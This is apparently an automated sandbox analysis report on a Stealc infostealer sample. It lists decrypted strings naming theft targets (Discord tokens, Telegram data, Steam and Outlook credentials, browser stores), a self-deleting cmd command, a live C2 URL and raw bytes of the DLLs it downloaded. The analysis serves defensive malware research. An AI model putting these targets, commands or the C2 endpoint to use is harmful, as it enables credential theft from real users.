Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: open
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: files
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: done
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: https
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: build
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: token
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: file
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: message
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.e70000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694440 PK11_PrivDecrypt,	0_2_6C694440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C664420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6944C0 PK11_PubEncrypt,	0_2_6C6944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6E25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C678670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C69A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6BA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6C0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6B7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C677D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6BBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6B9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693FF0 PK11_PrivDecryptPKCS1,	0_2_6C693FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C699840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C6BDA40

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:50012 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2129408867.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2129255327.000000006CF11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1741284072.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2129255327.000000006CF11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1741284072.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2129408867.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 02:45:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 02:45:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 02:45:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 